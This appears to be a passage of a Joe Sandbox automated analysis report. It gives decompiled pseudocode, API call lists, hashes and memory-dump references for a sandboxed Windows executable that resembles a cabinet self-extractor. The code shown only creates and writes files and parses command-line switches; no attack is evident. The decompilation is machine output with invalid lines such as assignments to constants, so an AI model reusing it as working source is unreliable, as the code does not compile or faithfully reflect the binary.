					_t23 = ( ~(__edx & 0x00000200) & 0x00000002) + 3;
				} else {
					if((__edx & 0x00000400) == 0) {
						asm("sbb esi, esi");
						_t23 = ( ~(__edx & 0x00000200) & 0xfffffffe) + 4;
					} else {
						_t23 = 1;
					}
				}
				_t7 = CreateFileA(_t11, _t18, 0, 0, _t23, 0x80, 0); // executed
				if(_t7 != 0xffffffff || _t23 == 3) {
					return _t7;
				} else {
					E00F3490C(_t11);
					return CreateFileA(_t11, _t18, 0, 0, _t23, 0x80, 0);
				}
			}

0x00f34880
0x00f3488c
0x00f34894
0x00f348a0
0x00f348c9
0x00f348ce
0x00f348a2
0x00f348a8
0x00f348b7
0x00f348bc
0x00f348aa
0x00f348ac
0x00f348ac
0x00f348a8
0x00f348de
0x00f348e7
0x00f3490b
0x00f348ee
0x00f348f0
0x00000000
0x00f34902

APIs

CreateFileA.KERNELBASE(00008000,-80000000,00000000,00000000,?,00000080,00000000,00000000,00000000,00000000,00F34A23,?,00F34F67,*MEMCAB,00008000,00000180), ref: 00F348DE
CreateFileA.KERNEL32(00008000,-80000000,00000000,00000000,?,00000080,00000000,?,00F34F67,*MEMCAB,00008000,00000180), ref: 00F34902

Memory Dump Source

Source File: 00000001.00000002.319721408.0000000000F31000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000001.00000002.319714068.0000000000F30000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319734503.0000000000F38000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319741169.0000000000F3A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319741169.0000000000F3C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f30000_bPsg.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 007286084d36b2904d378b0e652dd4bfe68af73399bfeb1acaf7a3205b0ba6e7
Instruction ID: bbe75baaaac6726016453a24a17a9c41ce71563ce846e91bab7f343d6fd6416c
Opcode Fuzzy Hash: 007286084d36b2904d378b0e652dd4bfe68af73399bfeb1acaf7a3205b0ba6e7
Instruction Fuzzy Hash: A50169A3E125742AF32490298C88FB7651DCBD6734F1B0334BDEAE72D2D564AC04A1E0

Uniqueness

Uniqueness Score: -1.00%

Function 00F34AD0 Relevance: 3.0, APIs: 2, Instructions: 47
fileCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E00F34AD0(signed int _a4, void* _a8, long _a12) {
				signed int _t9;
				int _t12;
				signed int _t14;
				signed int _t15;
				void* _t20;
				struct HWND__* _t21;
				signed int _t24;
				signed int _t25;

				_t20 =  *0xf3858c; // 0x268
				_t9 = E00F33680(_t20);
				if( *0xf391d8 == 0) {
					_push(_t24);
					_t12 = WriteFile( *(0xf38d74 + _a4 * 0x18), _a8, _a12,  &_a12, 0); // executed
					if(_t12 != 0) {
						_t25 = _a12;
						if(_t25 != 0xffffffff) {
							_t14 =  *0xf39400; // 0x40400
							_t15 = _t14 + _t25;
							 *0xf39400 = _t15;
							if( *0xf38184 != 0) {
								_t21 =  *0xf38584; // 0x0
								if(_t21 != 0) {
									SendDlgItemMessageA(_t21, 0x83a, 0x402, _t15 * 0x64 /  *0xf393f8, 0);
								}
							}
						}
					} else {
						_t25 = _t24 | 0xffffffff;
					}
					return _t25;
				} else {
					return _t9 | 0xffffffff;
				}
			}

0x00f34ad5
0x00f34adb
0x00f34ae7
0x00f34aee
0x00f34b05
0x00f34b0d
0x00f34b14
0x00f34b1a
0x00f34b1c
0x00f34b21
0x00f34b2a
0x00f34b2f
0x00f34b31
0x00f34b39
0x00f34b54
0x00f34b54
0x00f34b39
0x00f34b2f
0x00f34b0f
0x00f34b0f
0x00f34b0f
0x00f34b5e
0x00f34ae9
0x00f34aed
0x00f34aed

APIs

Part of subcall function 00F33680: MsgWaitForMultipleObjects.USER32(00000001,?,00000000,000000FF,000004FF), ref: 00F3369F
Part of subcall function 00F33680: PeekMessageA.USER32(?,00000000,00000000,00000000,00000001), ref: 00F336B2
Part of subcall function 00F33680: PeekMessageA.USER32(?,00000000,00000000,00000000,00000001), ref: 00F336DA

WriteFile.KERNELBASE(?,?,?,?,00000000), ref: 00F34B05

Memory Dump Source

Source File: 00000001.00000002.319721408.0000000000F31000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000001.00000002.319714068.0000000000F30000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319734503.0000000000F38000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319741169.0000000000F3A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319741169.0000000000F3C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f30000_bPsg.jbxd

Similarity

API ID: MessagePeek$FileMultipleObjectsWaitWrite
String ID:
API String ID: 1084409-0
Opcode ID: 340955b13495c215203c0d35237466250ff7fd4b2a1184d70f7da6669ef18ee4
Instruction ID: bf011d34dc07c5783e3825367f5be21c2b8a5f3d38e00f2274309b1578a1d512
Opcode Fuzzy Hash: 340955b13495c215203c0d35237466250ff7fd4b2a1184d70f7da6669ef18ee4
Instruction Fuzzy Hash: 3501B531600309ABDB149F59DC05BA6B75AFB84735F048265F9399B1F1CBB4E812FB50

Uniqueness

Uniqueness Score: -1.00%

Function 00F3658A Relevance: 1.5, APIs: 1, Instructions: 45
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00F3658A(char* __ecx, void* __edx, char* _a4) {
				intOrPtr _t4;
				char* _t6;
				char* _t8;
				void* _t10;
				void* _t12;
				char* _t16;
				intOrPtr* _t17;
				void* _t18;
				char* _t19;

				_t16 = __ecx;
				_t10 = __edx;
				_t17 = __ecx;
				_t1 = _t17 + 1; // 0xf38b3f
				_t12 = _t1;
				do {
					_t4 =  *_t17;
					_t17 = _t17 + 1;
				} while (_t4 != 0);
				_t18 = _t17 - _t12;
				_t2 = _t18 + 1; // 0xf38b40
				if(_t2 < __edx) {
					_t19 = _t18 + __ecx;
					if(_t19 > __ecx) {
						_t8 = CharPrevA(__ecx, _t19); // executed
						if( *_t8 != 0x5c) {
							 *_t19 = 0x5c;
							_t19 =  &(_t19[1]);
						}
					}
					_t6 = _a4;
					 *_t19 = 0;
					while( *_t6 == 0x20) {
						_t6 = _t6 + 1;
					}
					return E00F316B3(_t16, _t10, _t6);
				}
				return 0x8007007a;
			}

0x00f36592
0x00f36594
0x00f36596
0x00f36598
0x00f36598
0x00f3659b
0x00f3659b
0x00f3659d
0x00f3659e
0x00f365a2
0x00f365a4
0x00f365a9
0x00f365b2
0x00f365b6
0x00f365ba
0x00f365c3
0x00f365c5
0x00f365c8
0x00f365c8
0x00f365c3
0x00f365c9
0x00f365cc
0x00f365d2
0x00f365d1
0x00f365d1
0x00000000
0x00f365dc
0x00000000

APIs

CharPrevA.USER32(00F38B3E,00F38B3F,00000001,00F38B3E,-00000003,?,00F360EC,00F31140,?), ref: 00F365BA

Memory Dump Source

Source File: 00000001.00000002.319721408.0000000000F31000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000001.00000002.319714068.0000000000F30000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319734503.0000000000F38000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319741169.0000000000F3A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319741169.0000000000F3C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f30000_bPsg.jbxd

Similarity

API ID: CharPrev
String ID:
API String ID: 122130370-0
Opcode ID: 20c4888a9347dd950afb0d7262f1968e5f760b699771d7802c8e66cac6584037
Instruction ID: 5f758e793f92eb4ce9e5f0afd162a3d5bc758e26f7d423a12df6e88e864139cc
Opcode Fuzzy Hash: 20c4888a9347dd950afb0d7262f1968e5f760b699771d7802c8e66cac6584037
Instruction Fuzzy Hash: 4FF02833504250BBD331091A9884BA6BFDA9B86370F2C817AE8DAC3305CA658C45A2B4

Uniqueness

Uniqueness Score: -1.00%

Function 00F3621E Relevance: 1.5, APIs: 1, Instructions: 35
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E00F3621E() {
				signed int _v8;
				char _v268;
				signed int _t5;
				void* _t9;
				void* _t13;
				void* _t19;
				void* _t20;
				signed int _t21;

				_t5 =  *0xf38004; // 0xc69e30f7
				_v8 = _t5 ^ _t21;
				if(GetWindowsDirectoryA( &_v268, 0x104) != 0) {
					0x4f0 = 2;
					_t9 = E00F3597D( &_v268, 0x4f0, _t19, 0x4f0); // executed
				} else {
					E00F344B9(0, 0x4f0, _t8, _t8, 0x10, _t8);
					 *0xf39124 = E00F36285();
					_t9 = 0;
				}
				return E00F36CE0(_t9, _t13, _v8 ^ _t21, 0x4f0, _t19, _t20);
			}

0x00f36229
0x00f36230
0x00f36247
0x00f3626a
0x00f36272
0x00f36249
0x00f36255
0x00f3625f
0x00f36264
0x00f36264
0x00f36284

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 00F3623F

Part of subcall function 00F344B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 00F34518
Part of subcall function 00F344B9: MessageBoxA.USER32(?,?,lenta,00010010), ref: 00F34554

Part of subcall function 00F36285: GetLastError.KERNEL32(00F35BBC), ref: 00F36285

Memory Dump Source

Source File: 00000001.00000002.319721408.0000000000F31000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000001.00000002.319714068.0000000000F30000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319734503.0000000000F38000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319741169.0000000000F3A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319741169.0000000000F3C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f30000_bPsg.jbxd

Similarity

API ID: DirectoryErrorLastLoadMessageStringWindows
String ID:
API String ID: 381621628-0
Opcode ID: 07423c03d3ac3780496d338d93eda6df1806838d551ad08bd899b2ecdd3abbbb
Instruction ID: 7c093404563bc3491d400414a3543253200d60f2c4c254a884f393bdcf25f926
Opcode Fuzzy Hash: 07423c03d3ac3780496d338d93eda6df1806838d551ad08bd899b2ecdd3abbbb
Instruction Fuzzy Hash: F2F0E9B0704208BBDB50EB748D06FBF33ADDB54720F414069B9C5D6191DDB8DD44A650

Uniqueness

Uniqueness Score: -1.00%

Function 00F34B60 Relevance: 1.5, APIs: 1, Instructions: 28
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00F34B60(signed int _a4) {
				signed int _t9;
				signed int _t15;

				_t15 = _a4 * 0x18;
				if( *((intOrPtr*)(_t15 + 0xf38d64)) != 1) {
					_t9 = FindCloseChangeNotification( *(_t15 + 0xf38d74)); // executed
					if(_t9 == 0) {
						return _t9 | 0xffffffff;
					}
					 *((intOrPtr*)(_t15 + 0xf38d60)) = 1;
					return 0;
				}
				 *((intOrPtr*)(_t15 + 0xf38d60)) = 1;
				 *((intOrPtr*)(_t15 + 0xf38d68)) = 0;
				 *((intOrPtr*)(_t15 + 0xf38d70)) = 0;
				 *((intOrPtr*)(_t15 + 0xf38d6c)) = 0;
				return 0;
			}

0x00f34b66
0x00f34b74
0x00f34b98
0x00f34ba0
0x00000000
0x00f34bac
0x00f34ba4
0x00000000
0x00f34ba4
0x00f34b78
0x00f34b7e
0x00f34b84
0x00f34b8a
0x00000000

APIs

FindCloseChangeNotification.KERNELBASE(?,00000000,00000000,?,00F34FA1,00000000), ref: 00F34B98

Memory Dump Source

Source File: 00000001.00000002.319721408.0000000000F31000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000001.00000002.319714068.0000000000F30000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319734503.0000000000F38000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319741169.0000000000F3A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319741169.0000000000F3C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f30000_bPsg.jbxd

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: 674169ce542a271a7226143c06df6a34427d89d4c9b59f45791e96f78132f9b9
Instruction ID: ae7c5efed95b6d43bac1e8b0c4652f379335c7de43c59ad72c09b3acc65d4a99
Opcode Fuzzy Hash: 674169ce542a271a7226143c06df6a34427d89d4c9b59f45791e96f78132f9b9
Instruction Fuzzy Hash: 81F0F471900B089E47618E399C00652FBE5AAF53B0750092AB4AED2190FB34B542FB90

Uniqueness

Uniqueness Score: -1.00%

Function 00F366AE Relevance: 1.5, APIs: 1, Instructions: 11
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00F366AE(CHAR* __ecx) {
				unsigned int _t1;

				_t1 = GetFileAttributesA(__ecx); // executed
				if(_t1 != 0xffffffff) {
					return  !(_t1 >> 4) & 0x00000001;
				} else {
					return 0;
				}
			}

0x00f366b1
0x00f366ba
0x00f366c7
0x00f366bc
0x00f366be
0x00f366be

APIs

GetFileAttributesA.KERNELBASE(?,00F34777,?,00F34E38,?), ref: 00F366B1

Memory Dump Source

Source File: 00000001.00000002.319721408.0000000000F31000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000001.00000002.319714068.0000000000F30000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319734503.0000000000F38000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319741169.0000000000F3A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319741169.0000000000F3C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f30000_bPsg.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 966cff803ea6bcba97d07b0c6f631ed4092a59528e03c780b2d87fa7d2079c53
Instruction ID: e411fdd1a329e5a574d59583015d41b91b4bc54507f526b9fb9aff07c76bf1ff
Opcode Fuzzy Hash: 966cff803ea6bcba97d07b0c6f631ed4092a59528e03c780b2d87fa7d2079c53
Instruction Fuzzy Hash: BDB092B6622444526A2406726C2A55A3846A6C123ABE45B90F032C11E0CA3EC846E004

Uniqueness

Uniqueness Score: -1.00%

Function 00F34CA0 Relevance: 1.3, APIs: 1, Instructions: 8
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00F34CA0(long _a4) {
				void* _t2;

				_t2 = GlobalAlloc(0, _a4); // executed
				return _t2;
			}

0x00f34caa
0x00f34cb1

APIs

GlobalAlloc.KERNELBASE(00000000,?), ref: 00F34CAA

Memory Dump Source

Source File: 00000001.00000002.319721408.0000000000F31000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000001.00000002.319714068.0000000000F30000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319734503.0000000000F38000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319741169.0000000000F3A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319741169.0000000000F3C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f30000_bPsg.jbxd

Similarity

API ID: AllocGlobal
String ID:
API String ID: 3761449716-0
Opcode ID: 37cc40ff26369961c8cb86e1ad0b34360abea363d570ad2cae7134f543db14ca
Instruction ID: 0cef58097594c3fbaabab30a253b9b360a416f52ae7da61bfa4571ce1301401e
Opcode Fuzzy Hash: 37cc40ff26369961c8cb86e1ad0b34360abea363d570ad2cae7134f543db14ca
Instruction Fuzzy Hash: 89B0123204430CB7CF001FC3EC09F853F1EE7C4771F140040F60C450508A7294109696

Uniqueness

Uniqueness Score: -1.00%

Function 00F34CC0 Relevance: 1.3, APIs: 1, Instructions: 7
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00F34CC0(void* _a4) {
				void* _t2;

				_t2 = GlobalFree(_a4); // executed
				return _t2;
			}

0x00f34cc8
0x00f34ccf

APIs

GlobalFree.KERNEL32 ref: 00F34CC8

Memory Dump Source

Source File: 00000001.00000002.319721408.0000000000F31000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000001.00000002.319714068.0000000000F30000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319734503.0000000000F38000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319741169.0000000000F3A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319741169.0000000000F3C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f30000_bPsg.jbxd

Similarity

API ID: FreeGlobal
String ID:
API String ID: 2979337801-0
Opcode ID: 242dc43dc11564f61ac0089def906d4e3478d13e7ef772c647d4f54f8279cab9
Instruction ID: aa1b02d6bdd4870ffc77c7f9ed4120326adc8db0aab9edf63164de58840132bc
Opcode Fuzzy Hash: 242dc43dc11564f61ac0089def906d4e3478d13e7ef772c647d4f54f8279cab9
Instruction Fuzzy Hash: B9B0123100010CB78F001B43EC088453F1ED6C02707000050F50C410218B3398119585

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00F35C9E Relevance: 24.9, APIs: 10, Strings: 4, Instructions: 422
COMMONCrypto

Download Yara Rule

C-Code - Quality: 92%

			E00F35C9E(void* __ebx, CHAR* __ecx, void* __edi, void* __esi) {
				signed int _v8;
				signed int _v12;
				CHAR* _v265;
				char _v266;
				char _v267;
				char _v268;
				CHAR* _v272;
				char _v276;
				signed int _v296;
				char _v556;
				signed int _t61;
				int _t63;
				char _t67;
				CHAR* _t69;
				signed int _t71;
				void* _t75;
				char _t79;
				void* _t83;
				void* _t85;
				void* _t87;
				intOrPtr _t88;
				void* _t100;
				intOrPtr _t101;
				CHAR* _t104;
				intOrPtr _t105;
				void* _t111;
				void* _t115;
				CHAR* _t118;
				void* _t119;
				void* _t127;
				CHAR* _t129;
				void* _t132;
				void* _t142;
				signed int _t143;
				CHAR* _t144;
				void* _t145;
				void* _t146;
				void* _t147;
				void* _t149;
				char _t155;
				void* _t157;
				void* _t162;
				void* _t163;
				char _t167;
				char _t170;
				CHAR* _t173;
				void* _t177;
				intOrPtr* _t183;
				intOrPtr* _t192;
				CHAR* _t199;
				void* _t200;
				CHAR* _t201;
				void* _t205;
				void* _t206;
				int _t209;
				void* _t210;
				void* _t212;
				void* _t213;
				CHAR* _t218;
				intOrPtr* _t219;
				intOrPtr* _t220;
				signed int _t221;
				signed int _t223;

				_t173 = __ecx;
				_t61 =  *0xf38004; // 0xc69e30f7
				_v8 = _t61 ^ _t221;
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_t209 = 1;
				if(__ecx == 0 ||  *__ecx == 0) {
					_t63 = 1;
				} else {
					L2:
					while(_t209 != 0) {
						_t67 =  *_t173;
						if(_t67 == 0x20 || _t67 == 9 || _t67 == 0xd || _t67 == 0xa || _t67 == 0xb || _t67 == 0xc) {
							_t173 = CharNextA(_t173);
							continue;
						}
						_v272 = _t173;
						if(_t67 == 0) {
							break;
						} else {
							_t69 = _v272;
							_t177 = 0;
							_t213 = 0;
							_t163 = 0;
							_t202 = 1;
							do {
								if(_t213 != 0) {
									if(_t163 != 0) {
										break;
									} else {
										goto L21;
									}
								} else {
									_t69 =  *_t69;
									if(_t69 == 0x20 || _t69 == 9 || _t69 == 0xd || _t69 == 0xa || _t69 == 0xb || _t69 == 0xc) {
										break;
									} else {
										_t69 = _v272;
										L21:
										_t155 =  *_t69;
										if(_t155 != 0x22) {
											if(_t202 >= 0x104) {
												goto L106;
											} else {
												 *((char*)(_t221 + _t177 - 0x108)) = _t155;
												_t177 = _t177 + 1;
												_t202 = _t202 + 1;
												_t157 = 1;
												goto L30;
											}
										} else {
											if(_v272[1] == 0x22) {
												if(_t202 >= 0x104) {
													L106:
													_t63 = 0;
													L125:
													_pop(_t210);
													_pop(_t212);
													_pop(_t162);
													return E00F36CE0(_t63, _t162, _v8 ^ _t221, _t202, _t210, _t212);
												} else {
													 *((char*)(_t221 + _t177 - 0x108)) = 0x22;
													_t177 = _t177 + 1;
													_t202 = _t202 + 1;
													_t157 = 2;
													goto L30;
												}
											} else {
												_t157 = 1;
												if(_t213 != 0) {
													_t163 = 1;
												} else {
													_t213 = 1;
												}
												goto L30;
											}
										}
									}
								}
								goto L131;
								L30:
								_v272 =  &(_v272[_t157]);
								_t69 = _v272;
							} while ( *_t69 != 0);
							if(_t177 >= 0x104) {
								E00F36E2A(_t69, _t163, _t177, _t202, _t209, _t213);
								asm("int3");
								_push(_t221);
								_t222 = _t223;
								_t71 =  *0xf38004; // 0xc69e30f7
								_v296 = _t71 ^ _t223;
								if(GetWindowsDirectoryA( &_v556, 0x104) != 0) {
									0x4f0 = 2;
									_t75 = E00F3597D( &_v272, 0x4f0, _t209, 0x4f0); // executed
								} else {
									E00F344B9(0, 0x4f0, _t74, _t74, 0x10, _t74);
									 *0xf39124 = E00F36285();
									_t75 = 0;
								}
								return E00F36CE0(_t75, _t163, _v12 ^ _t222, 0x4f0, _t209, _t213);
							} else {
								 *((char*)(_t221 + _t177 - 0x108)) = 0;
								if(_t213 == 0) {
									if(_t163 != 0) {
										goto L34;
									} else {
										goto L40;
									}
								} else {
									if(_t163 != 0) {
										L40:
										_t79 = _v268;
										if(_t79 == 0x2f || _t79 == 0x2d) {
											_t83 = CharUpperA(_v267) - 0x3f;
											if(_t83 == 0) {
												_t202 = 0x521;
												E00F344B9(0, 0x521, 0xf31140, 0, 0x40, 0);
												_t85 =  *0xf38588; // 0x0
												if(_t85 != 0) {
													CloseHandle(_t85);
												}
												ExitProcess(0);
											}
											_t87 = _t83 - 4;
											if(_t87 == 0) {
												if(_v266 != 0) {
													if(_v266 != 0x3a) {
														goto L49;
													} else {
														_t167 = (0 | _v265 == 0x00000022) + 3;
														_t215 =  &_v268 + _t167;
														_t183 =  &_v268 + _t167;
														_t50 = _t183 + 1; // 0x1
														_t202 = _t50;
														do {
															_t88 =  *_t183;
															_t183 = _t183 + 1;
														} while (_t88 != 0);
														if(_t183 == _t202) {
															goto L49;
														} else {
															_t205 = 0x5b;
															if(E00F3667F(_t215, _t205) == 0) {
																L115:
																_t206 = 0x5d;
																if(E00F3667F(_t215, _t206) == 0) {
																	L117:
																	_t202 =  &_v276;
																	_v276 = _t167;
																	if(E00F35C17(_t215,  &_v276) == 0) {
																		goto L49;
																	} else {
																		_t202 = 0x104;
																		E00F31680(0xf38c42, 0x104, _v276 + _t167 +  &_v268);
																	}
																} else {
																	_t202 = 0x5b;
																	if(E00F3667F(_t215, _t202) == 0) {
																		goto L49;
																	} else {
																		goto L117;
																	}
																}
															} else {
																_t202 = 0x5d;
																if(E00F3667F(_t215, _t202) == 0) {
																	goto L49;
																} else {
																	goto L115;
																}
															}
														}
													}
												} else {
													 *0xf38a24 = 1;
												}
												goto L50;
											} else {
												_t100 = _t87 - 1;
												if(_t100 == 0) {
													L98:
													if(_v266 != 0x3a) {
														goto L49;
													} else {
														_t170 = (0 | _v265 == 0x00000022) + 3;
														_t217 =  &_v268 + _t170;
														_t192 =  &_v268 + _t170;
														_t38 = _t192 + 1; // 0x1
														_t202 = _t38;
														do {
															_t101 =  *_t192;
															_t192 = _t192 + 1;
														} while (_t101 != 0);
														if(_t192 == _t202) {
															goto L49;
														} else {
															_t202 =  &_v276;
															_v276 = _t170;
															if(E00F35C17(_t217,  &_v276) == 0) {
																goto L49;
															} else {
																_t104 = CharUpperA(_v267);
																_t218 = 0xf38b3e;
																_t105 = _v276;
																if(_t104 != 0x54) {
																	_t218 = 0xf38a3a;
																}
																E00F31680(_t218, 0x104, _t105 + _t170 +  &_v268);
																_t202 = 0x104;
																E00F3658A(_t218, 0x104, 0xf31140);
																if(E00F331E0(_t218) != 0) {
																	goto L50;
																} else {
																	goto L106;
																}
															}
														}
													}
												} else {
													_t111 = _t100 - 0xa;
													if(_t111 == 0) {
														if(_v266 != 0) {
															if(_v266 != 0x3a) {
																goto L49;
															} else {
																_t199 = _v265;
																if(_t199 != 0) {
																	_t219 =  &_v265;
																	do {
																		_t219 = _t219 + 1;
																		_t115 = CharUpperA(_t199) - 0x45;
																		if(_t115 == 0) {
																			 *0xf38a2c = 1;
																		} else {
																			_t200 = 2;
																			_t119 = _t115 - _t200;
																			if(_t119 == 0) {
																				 *0xf38a30 = 1;
																			} else {
																				if(_t119 == 0xf) {
																					 *0xf38a34 = 1;
																				} else {
																					_t209 = 0;
																				}
																			}
																		}
																		_t118 =  *_t219;
																		_t199 = _t118;
																	} while (_t118 != 0);
																}
															}
														} else {
															 *0xf38a2c = 1;
														}
														goto L50;
													} else {
														_t127 = _t111 - 3;
														if(_t127 == 0) {
															if(_v266 != 0) {
																if(_v266 != 0x3a) {
																	goto L49;
																} else {
																	_t129 = CharUpperA(_v265);
																	if(_t129 == 0x31) {
																		goto L76;
																	} else {
																		if(_t129 == 0x41) {
																			goto L83;
																		} else {
																			if(_t129 == 0x55) {
																				goto L76;
																			} else {
																				goto L49;
																			}
																		}
																	}
																}
															} else {
																L76:
																_push(2);
																_pop(1);
																L83:
																 *0xf38a38 = 1;
															}
															goto L50;
														} else {
															_t132 = _t127 - 1;
															if(_t132 == 0) {
																if(_v266 != 0) {
																	if(_v266 != 0x3a) {
																		if(CompareStringA(0x7f, 1, "RegServer", 0xffffffff,  &_v267, 0xffffffff) != 0) {
																			goto L49;
																		}
																	} else {
																		_t201 = _v265;
																		 *0xf39a2c = 1;
																		if(_t201 != 0) {
																			_t220 =  &_v265;
																			do {
																				_t220 = _t220 + 1;
																				_t142 = CharUpperA(_t201) - 0x41;
																				if(_t142 == 0) {
																					_t143 = 2;
																					 *0xf39a2c =  *0xf39a2c | _t143;
																					goto L70;
																				} else {
																					_t145 = _t142 - 3;
																					if(_t145 == 0) {
																						 *0xf38d48 =  *0xf38d48 | 0x00000040;
																					} else {
																						_t146 = _t145 - 5;
																						if(_t146 == 0) {
																							 *0xf39a2c =  *0xf39a2c & 0xfffffffd;
																							goto L70;
																						} else {
																							_t147 = _t146 - 5;
																							if(_t147 == 0) {
																								 *0xf39a2c =  *0xf39a2c & 0xfffffffe;
																								goto L70;
																							} else {
																								_t149 = _t147;
																								if(_t149 == 0) {
																									 *0xf38d48 =  *0xf38d48 | 0x00000080;
																								} else {
																									if(_t149 == 3) {
																										 *0xf39a2c =  *0xf39a2c | 0x00000004;
																										L70:
																										 *0xf38a28 = 1;
																									} else {
																										_t209 = 0;
																									}
																								}
																							}
																						}
																					}
																				}
																				_t144 =  *_t220;
																				_t201 = _t144;
																			} while (_t144 != 0);
																		}
																	}
																} else {
																	 *0xf39a2c = 3;
																	 *0xf38a28 = 1;
																}
																goto L50;
															} else {
																if(_t132 == 0) {
																	goto L98;
																} else {
																	L49:
																	_t209 = 0;
																	L50:
																	_t173 = _v272;
																	if( *_t173 != 0) {
																		goto L2;
																	} else {
																		break;
																	}
																}
															}
														}
													}
												}
											}
										} else {
											goto L106;
										}
									} else {
										L34:
										_t209 = 0;
										break;
									}
								}
							}
						}
						goto L131;
					}
					if( *0xf38a2c != 0 &&  *0xf38b3e == 0) {
						if(GetModuleFileNameA( *0xf39a3c, 0xf38b3e, 0x104) == 0) {
							_t209 = 0;
						} else {
							_t202 = 0x5c;
							 *((char*)(E00F366C8(0xf38b3e, _t202) + 1)) = 0;
						}
					}
					_t63 = _t209;
				}
				L131:
			}

0x00f35c9e
0x00f35ca9
0x00f35cb0
0x00f35cb3
0x00f35cb6
0x00f35cb7
0x00f35cb8
0x00f35cbd
0x00f36204
0x00f35ccb
0x00000000
0x00f35ccb
0x00f35cd3
0x00f35cd7
0x00f35cf4
0x00000000
0x00f35cf4
0x00f35cf8
0x00f35d00
0x00000000
0x00f35d06
0x00f35d06
0x00f35d0e
0x00f35d10
0x00f35d12
0x00f35d14
0x00f35d15
0x00f35d17
0x00f35d49
0x00000000
0x00000000
0x00000000
0x00000000
0x00f35d19
0x00f35d19
0x00f35d1d
0x00000000
0x00f35d3f
0x00f35d3f
0x00f35d4b
0x00f35d4b
0x00f35d4f
0x00f35d8d
0x00000000
0x00f35d93
0x00f35d93
0x00f35d9a
0x00f35d9d
0x00f35d9e
0x00000000
0x00f35d9e
0x00f35d51
0x00f35d5b
0x00f35d72
0x00f360fb
0x00f360fb
0x00f36207
0x00f3620a
0x00f3620b
0x00f3620e
0x00f36217
0x00f35d78
0x00f35d78
0x00f35d80
0x00f35d83
0x00f35d84
0x00000000
0x00f35d84
0x00f35d5d
0x00f35d5f
0x00f35d62
0x00f35d68
0x00f35d64
0x00f35d64
0x00f35d64
0x00000000
0x00f35d62
0x00f35d5b
0x00f35d4f
0x00f35d1d
0x00000000
0x00f35d9f
0x00f35d9f
0x00f35da5
0x00f35dab
0x00f35dba
0x00f36218
0x00f3621d
0x00f36220
0x00f36221
0x00f36229
0x00f36230
0x00f36247
0x00f3626a
0x00f36272
0x00f36249
0x00f36255
0x00f3625f
0x00f36264
0x00f36264
0x00f36284
0x00f35dc0
0x00f35dc0
